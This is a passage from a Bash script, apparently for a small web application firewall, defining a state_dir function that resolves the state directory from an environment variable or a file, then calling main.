# or what is in the file SWWAF_STATE_DIR_FILE names, less every newline at
# its end. It fails when both are set or the file cannot be read.
state_dir() {
if [[ ! -v SWWAF_STATE_DIR_FILE ]]; then
printf '%s\n' "${SWWAF_STATE_DIR-/var/lib/smallwebwaf}"
elif [[ ! -v SWWAF_STATE_DIR ]]; then
cat -- "$SWWAF_STATE_DIR_FILE" 2>/dev/null
else
return 1
fi
}
main "$@"